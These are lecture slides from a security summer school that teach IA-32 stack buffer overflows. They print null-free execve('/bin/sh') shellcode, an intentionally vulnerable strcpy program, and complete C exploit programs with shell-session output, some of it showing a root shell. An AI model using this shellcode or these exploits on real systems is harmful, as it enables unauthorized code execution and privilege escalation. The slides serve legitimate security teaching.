International Summer School on Information and System Security Stack Based Buffer Overflows Alberto Ornaghi Lorenzo Cavallaro
International Summer School on Information and System Security Table of contents IA-32 introduction IA-32 introduction The issue The issue Code injection Code injection Shellcode Shellcode Buffer overflow Buffer overflow Local buffer overflow (no address guessing) Local buffer overflow (no address guessing)
International Summer School on Information and System Security Introduction
4 Stack layout int foo(int a, int b) { int i = 5; return (a + b) * i; } int main(int argc, char **argv) { int c = 3, d = 4, e = 0; e = foo(c, d); printf(“e = %d\n”, e); } 4 3 high low stack ret addr SFP 5 ret addr :
International Summer School on Information and System Security Activation Record Return Address – It’s the address of the instruction to be executed once the called procedure ends. Saved Base Pointer (saved frame pointer) – It holds EBP register value at the time the called procedure is run and it “points” to the previous activation record. ret address saved base pointer automatic variables... high low
International Summer School on Information and System Security Nested ARs int foo(int a, int b) { bar(a, b); } int bar(int a, int b) {... } int main(int argc, char **argv) { foo(c, d); } d c high low b a SFP ret address SFP
International Summer School on Information and System Security CPU registers EIP: instruction pointer “it points to the next instruction to be executed” EBP: base pointer (frame pointer) “it points to the base of the current AR (static) ESP: stack pointer “it points to the top of the stack (dynamic) d c high low ret address b SFP ret address a SFP
International Summer School on Information and System Security Prologue and Epilogue Prologue: Prologue: push %ebp(save %ebp) mov %esp, %ebp(move %ebp) Epilogue: Epilogue: leave(reset %ebp) ret(reset %eip)
International Summer School on Information and System Security Automatic variables int foo(int a, int b) { int i, j; char buf[9]; … } Default stack alignment is on a double word boundary (4 byte on ia32) So buffers are just padded to be on a double word boundary. b a high low ret address buf[0] i j SFP pad
International Summer School on Information and System Security The issue
International Summer School on Information and System Security Plain situation int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephd”); } b a high low ret address SFP B d r e p h s e c u
International Summer School on Information and System Security Critical Situation int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephdbcde”); } b a high low ret address SFP Buffer Overflow 5 e d b c d r e p h s e c u
International Summer School on Information and System Security Very critical situation int foo(int a, int b) { int i, j; char buf[9]; i = 5; j = 123; strcpy(buf, “securephdaaabbbbcccceeeeffff”); } b a high low ret address SFP Ret Overflow Segmentation fault... EIP = 0x
International Summer School on Information and System Security Code Injection
International Summer School on Information and System Security Ret address modification b a high low 0xbffffcab 0xbffffca7 0xbffffc8b 8B FC FF BF int a = 3; int b = 5; int e; e = foo(a, b); printf(“%d\n”, e); ret address SFP ret addr
International Summer School on Information and System Security “ret addr” guessing (1) There are no efficient algorithms allowing to blindly find out the “ret addr”, even if there exist few techniques that may help us while exploiting such vulnerabilities. We simply try to “bruteforce” the addresses’ space keeping in mind that the OS uses virtual memory with paging and so the stack always starts at the same fixed address … 0xbfffffff 0xbffffffb 0xbffffff7 0xbfffffff 0xbffffffb 0xbffffff7 Process 1Process 2 high low
International Summer School on Information and System Security “ret addr” guessing (2) env argv main AR foo AR high low A Process image (roughly) looks like: A Process image (roughly) looks like: bar AR static (fixed) offset variable offset
International Summer School on Information and System Security “ret addr” guessing (3) Stack pointer register (esp) represents a good base to add offsets to (or subtract offsets from); the address obtained this way may be quite a good candidate as “retaddr” for the vulnerable program. buf[4] buf[0] a esp ret addr b offset (8) high low
International Summer School on Information and System Security Issues Functions that manipulate strings (strcpy, gets, etc) copy as far as they don’t find a NULL byte (string terminator). Functions that manipulate strings (strcpy, gets, etc) copy as far as they don’t find a NULL byte (string terminator). Injected code MUST NOT contain NULL bytes. Injected code MUST NOT contain NULL bytes. code[] = “\xeb\x2a\x5f\xc6\x47\x07\x00\x89\x7f\x08\xc7\x47”; strcpy(buf, code); buf = “\xeb\x2a\x5f\xc6\x47\x07”
International Summer School on Information and System Security “ret addr” range To improve our chance to find a suitable ret addr we can prepend to our injected code something that works like a “landing strip”: NOP (0x90) (machine instruction that does No Operation). To improve our chance to find a suitable ret addr we can prepend to our injected code something that works like a “landing strip”: NOP (0x90) (machine instruction that does No Operation). ret address CODE INJE Allowed “ret addr” range CTED
International Summer School on Information and System Security Buffer structure Injected buffer will look like this one: Injected buffer will look like this one: NOP EXECUTABLE CODERET ADDR code[] = “\x90\x90\x90...\xeb\x2a...\x8d\xfc\xff\xbf”; little endian !!
International Summer School on Information and System Security Considerations... Target buffer might be too small to hold useful codes Target buffer might be too small to hold useful codes We may encounter non executable stack region We may encounter non executable stack region We can put injected code anywhere in memory, not just into the stack We can put injected code anywhere in memory, not just into the stack
International Summer School on Information and System Security Shellcode
International Summer School on Information and System Security execve (1) int main(void) { char *name[] = { “/bin/sh”, NULL }; execve(name[0], name, NULL); } int execve(const char *filename, \ char *const argv[], \ char *const envp[] ); execve prototype (user land)
International Summer School on Information and System Security execve (2) (gdb) disass main push %ebp mov %esp,%ebp sub $0x8,%esp lea 0xfffffff8(%ebp),%eax movl $0x808b6c8,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) push $0x0 lea 0xfffffff8(%ebp),%eax push %eax mov 0xfffffff8(%ebp),%eax push %eax call 0x804bf90 … SFP %ebp $0x808b6c8 $0x0 name: name $0x808b6c8 high low stack layout 0x804bf90
International Summer School on Information and System Security execve (3) push %ebp mov %esp,%ebp … mov 0x8(%ebp),%edi mov $0x0,%eax … mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx push %ebx mov %edi,%ebx mov $0xb,%eax int $0x80 $0x0 name name[0] 0x804bf90 high low stack layout SFP %ebp 0x8(%ebp) 0xc(%ebp) 0x10(%ebp) %ebx <- 0x8(%ebp) = 0x808b6c8 %ecx <- 0xc(%ebp) = name %edx <- 0x10(%ebp) = 0x0
International Summer School on Information and System Security execve (4) must have the string “/bin/sh” somewhere in memory. must build the array holding the address of “/bin/sh”, followed by 0x0 (i.e., the address at which the address of the string “/bin/sh” is) put the proper values into the proper registers We:
International Summer School on Information and System Security execve (5) Lets suppose that %ebx holds the address of the string “/bin/sh”, now it suffices to do: … movl %ebx, 0x8(%ebx) movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movl $0xb, %eax int $0x80 … /sh /bin high low stack layout %ebx addr 0x8(%ebx) 0 $0x0 0xc(%ebx) addr+4 addr+8 addr+12
International Summer School on Information and System Security execve (6) We cannot know the absolute address of the location at which the string “/bin/sh” is stored, but we don’t care … jmp ahead back: popl %ebx … ahead: call back.string \”/bin/sh\”
International Summer School on Information and System Security jmp ahead # 0xeb 0x1c back: popl %ebx # 0x5b movl %ebx, 0x8(%ebx) # 0x89 0x5b 0x08 movb $0x0, 0x7(%ebx) # 0xc6 0x43 0x07 00 movl $0x0, 0xc(%ebx) # 0xc7 0x43 0x0c leal 0x8(%ebx), %ecx # 0x8d 0x4b 0x08 leal 0xc(%ebx), %edx # 0x8d 0x53 0x0c movl $0xb, %eax # 0xb8 0x0b int $0x80 # 0xcd 0x80 ahead: call back # 0xd8 0xdf 0xff 0xff 0xff.string \”/bin/sh\” # 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 execve (7)
International Summer School on Information and System Security Nil bytes avoidance
International Summer School on Information and System Security movb $0x0, 0x7(%ebx) movl $0x0, 0xc(%ebx) movl $0xb, %eax Nil bytes xorl %eax, %eax movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) movb $0xb, %al … xorl %eax, %eax movl %ebx, 0x8(%ebx) movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movb $0xb, %al int $0x80 …
International Summer School on Information and System Security shellcode (1) int main(void) { __asm__(“ jmp ahead back: popl %ebx xorl %eax, %eax movl %ebx, 0x8(%ebx) movb %al, 0x7(%ebx) movl %eax, 0xc(%ebx) leal 0x8(%ebx), %ecx leal 0xc(%ebx), %edx movb $0xb, %al int $0x80 ahead: call back.string \”/bin/sh\” “); } Are there any issues with this test?
International Summer School on Information and System Security shellcode (2) (gdb) x/29b 0x80483c3 0x80483c3 : 0xeb 0x16 0x5b 0x31 0xc0 0x89 0x5b 0x08 0x80483cb : 0x88 0x43 0x07 0x89 0x43 0x0c 0x8d 0x4b 0x80483d3 : 0x08 0x8d 0x53 0x0c 0xb0 0x0b 0xcd 0x80 0x80483db : 0xe8 0xe5 0xff 0xff 0xff
International Summer School on Information and System Security shellcode (3) #include unsigned char code[]= "\xeb\x16\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43” “\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5” “\xff\xff\xff/bin/sh"; int main(void) { void (*f)(void) = (void (*)(void))code; f(); /* never reached … */ exit(0); }
International Summer School on Information and System Security shellcode (4) int main(void) { char *name[] = { “/bin/sh”, NULL }; char *env[] = { “PATH=/bin:/sbin:/nonexistent”, NULL }; execve(name[0], name, env); /* never reached … */ exit(1); }
International Summer School on Information and System Security shellcode (5) jmp ahead back: popl %edi jmp begin ahead: call back begin: xorl %eax, %eax movl %edi, %ebx addb $(shell - begin), %bl pushl %ebx movl %ebx, 40(%ebx) movl %eax, 44(%ebx) movb %al, 7(%ebx) leal 40(%ebx), %ecx XXXX … =/bin PATH /shA /bin high lowname[0] name[0]name[1]
International Summer School on Information and System Security shellcode (6) movl %edi, %ebx addb $(env - begin), %bl movl %ebx, 48(%ebx) movl %eax, 52(%ebx) movb %al, 28(%ebx) leal 48(%ebx), %edx popl %ebx movb $0xb, %al int $0x80 shell:.string \"/bin/sh\" # 7 bytes env: # 33 bytes: 29 w/o X and 28 w/o X and A # strlen(shell) + strlen(env) = 40 bytes.string \"APATH=/bin:/sbin:/nonexistentXXXX\“ XXXX … =/bin PATH /shA /bin high lowname[0] name[0]name[1] env[0]env[1]
International Summer School on Information and System Security Shellcode testing unsigned char shellcode[] = “\xeb\x18\x5f\x31\xc0\x88\x47\x07\x89\x7f\x08\x89” “\x47\x0c\x8d\x57\x0c\x8d\x4f\x08\x89\xfb\xb0\x0b” “\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; int main() { void (*f)(void) = (void (*)(void))shellcode; f(); } sh-2.03# id uid=0(root) gid=0(root) groups=0(root)
International Summer School on Information and System Security Vulnerable program (1) void foo(char *); int main(void) { char name[512]; memset(name, 0, sizeof (name)); fgets(name, sizeof (name), stdin); name[strlen(name) – 1] = 0; printf(“calling foo …\n”); foo(name); printf(“foo executed succesfully\n”); exit(0); }
International Summer School on Information and System Security Vulnerable program (2) void foo(char *s) { char buf[128]; fprintf(stderr, %p\n”, buf); memset(buf, 0, sizeof (buf)); strcpy(buf, s); printf(“Hello ‘%s’\n”, buf); return; }
International Summer School on Information and System Security Vulnerable program (3) ~ PhD class calling foo … 0xbffff9fc Hello ‘PhD class’ foo executed succesfully ~ perl -e '{ print "A" x 256 }' |./vuln calling foo... 0xbffff9fc Hello 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA…AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' zsh: 2587 done perl -e '{ print "A" x 256 }' | zsh: 2588 segmentation fault (core dumped)./vuln gdb -q -c core Core was generated by `./vuln'. Program terminated with signal 11, Segmentation fault. #0 0x in ?? ()
International Summer School on Information and System Security Exploit (1) unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh"; #define NOP 0x90 #define SIZE 256 #define OFFSET 0 #define ALIGN 0 static long __inline__ get_esp(void); int main(int argc, char **argv) { int align, offset, size, c, i; long *ptr; long addr; char *p; …
International Summer School on Information and System Security Exploit (2) p = (char *) calloc(1, size + align); /* align ourself */ p = (char *) (p + align); addr = get_esp() + offset; ptr = (long *)p; for (i = 0; i < size; i += 4) *ptr++ = addr; c = size/2 - strlen(shellcode); memset(p, NOP, c); memcpy(p + c, shellcode, strlen(shellcode)); printf("%s\n", p); exit(0); }
International Summer School on Information and System Security Exploit (3) static long __inline__ get_esp(void) { long ret; /* * force using %eax as output register to “align” * ourself to gcc output */ __asm__ ("movl %esp, %0" : "=a" (ret)); return ret; }
International Summer School on Information and System Security Exploit (4) (./x –s 160 –o –0x260; cat) |./vuln [+] using address: 0xbffff9fc [+] NOP filling: 45 bytes [+] shellcode size: 35 … ° Íèæÿÿÿ/bin/shüùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ¿üùÿ…’ … id uid=1021(sullivan) gid=100(users) groups=100(users) ls -a. local.c shellcode.c stack.c test.c vuln.c x.c x2.c x3.c.. local shellcode stack test vuln x x2 x3 exit
International Summer School on Information and System Security Local vulnerability (1) void foo(char *); int main(int argc, char **argv) { … printf("calling foo...\n"); foo(argv[1]); printf("foo executed succesfully\n"); exit(0); } …
International Summer School on Information and System Security Local vulnerability (2) $0x0./lo cal0 shellcode 0xc … addressable in kernel space addressable in kernel/user space $0x0 env argv[1] injected buffer (shellcode’s address) … argv nil terminated shellcode
International Summer School on Information and System Security Local exploit (1) #define VULN "./local" #define SIZE 160 unsigned char shellcode[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x89\x43\x0c\x8d\x4b" "\x08\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh"; int main(int argc, char **argv) { char p[SIZE]; /* put the shellcode in target's envp */ char *envp[] = { shellcode, NULL }; /* what to execute */ char *vuln[] = { VULN, p, NULL }; int *ptr, i, addr;
International Summer School on Information and System Security Local exploit (2) /* * compute return address: since strlen doesn’t * count for nil bytes, we do … * 0xc – 4 – 1 – 1 = 0xbffffffa */ addr = 0xbffffffa - strlen(shellcode) - strlen(VULN); fprintf(stderr, "[+] using address: %#010x\n", addr); /* fill buffer with computed address */ ptr = (int * )p; for (i = 0; i < SIZE; i += 4) *ptr++ = addr; execve(vuln[0], vuln, envp); fprintf(stderr, "[!] execve: %s\n", strerror(errno)); exit(1); }
International Summer School on Information and System Security Local exploit (3) [+] using address: 0xbfffffd0 calling foo... Hello sh-2.05a$ ls local shellcode.c stack.c test.c vuln.c x.c x2.c x3.c local.c shellcode stack test vuln x x2 x3 sh-2.05a$ exit exit
International Summer School on Information and System Security Contacts Lorenzo Cavallaro Lorenzo Cavallaro Alberto Ornaghi Alberto Ornaghi